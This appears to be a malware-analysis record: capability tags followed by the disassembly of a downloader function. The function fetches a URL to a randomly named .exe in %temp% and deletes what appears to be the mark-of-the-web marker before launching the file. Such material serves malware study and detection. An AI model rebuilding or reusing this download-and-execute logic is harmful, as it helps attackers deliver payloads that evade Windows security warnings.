Function at 0x40d510
Capabilities:
Bypass mark of the web
Create http request
Delete file
Download and write a file
Download url
Query environment variable
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x954
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.msvcrt.dll_srand
add esp, 4
mov byte [ebp - 0x411], 0
push 0x104
lea eax, [ebp - 0x830]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x948], ecx
mov edx, dword [ebp - 0x948]
add edx, 1
mov dword [ebp - 0x94c], edx
mov eax, dword [ebp - 0x948]
mov cl, byte [eax]
mov byte [ebp - 0x94d], cl
add dword [ebp - 0x948], 1
cmp byte [ebp - 0x94d], 0
jne 0x40d55e
mov edx, dword [ebp - 0x948]
sub edx, dword [ebp - 0x94c]
mov dword [ebp - 0x954], edx
mov eax, dword [ebp - 0x954]
add eax, 1
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x410]
push edx
call sub.ntdll.dll_mbstowcs
add esp, 0xc
call sub.msvcrt.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
call sub.msvcrt.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
lea edx, [ebp - 0x830]
push edx
push 0x4103e8
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_111.0.0.0_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x944], eax
cmp dword [ebp - 0x944], 0
je 0x40d780
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x410]
push ecx
mov edx, dword [ebp - 0x944]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 0x624], eax
cmp dword [ebp - 0x624], 0
je 0x40d773
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0xffffffff
je 0x40d766
lea ecx, [ebp - 0x940]
push ecx
push 0x103
lea edx, [ebp - 0x938]
push edx
mov eax, dword [ebp - 0x624]
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x40d6c6
cmp dword [ebp - 0x940], 0
je 0x40d6c6
push 0
lea ecx, [ebp - 0x93c]
push ecx
mov edx, dword [ebp - 0x940]
push edx
lea eax, [ebp - 0x938]
push eax
mov ecx, dword [ebp - 0x628]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x40d673
mov edx, dword [ebp - 0x628]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x620]
push eax
push 0x4104e0
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x620]
push eax
call fcn.0040d1f0
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x40d759
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x620]
push edx
call fcn.0040d3b0
add esp, 4
movzx eax, al
cmp eax, 1
jne 0x40d757
movzx ecx, byte [ebp + 0xc]
cmp ecx, 1
jne 0x40d750
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [ebp - 0x411], 1
jmp 0x40d766
lea edx, [ebp - 0x620]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x624]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x944]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, byte [ebp - 0x411]
test eax, eax
jne 0x40d8b4
call sub.msvcrt.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
imul edx, edx, 5
add edx, 0x1388
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
call sub.msvcrt.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
call sub.msvcrt.dll_rand
cdq
mov ecx, 0x7fff
idiv ecx
add edx, 0x3e8
push edx
lea edx, [ebp - 0x830]
push edx
push str._s_d_d.exe
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push 0
lea ecx, [ebp - 0x620]
push ecx
lea edx, [ebp - 0x410]
push edx
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jne 0x40d8b4
lea eax, [ebp - 0x620]
push eax
push 0x410520
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x620]
push eax
call fcn.0040d1f0
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x40d8a7
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x620]
push edx
call fcn.0040d3b0
add esp, 4
movzx eax, al
test eax, eax
je 0x40d8a5
movzx ecx, byte [ebp + 0xc]
cmp ecx, 1
jne 0x40d8a5
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x40d8b4
lea edx, [ebp - 0x620]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esp, ebp
pop ebp
ret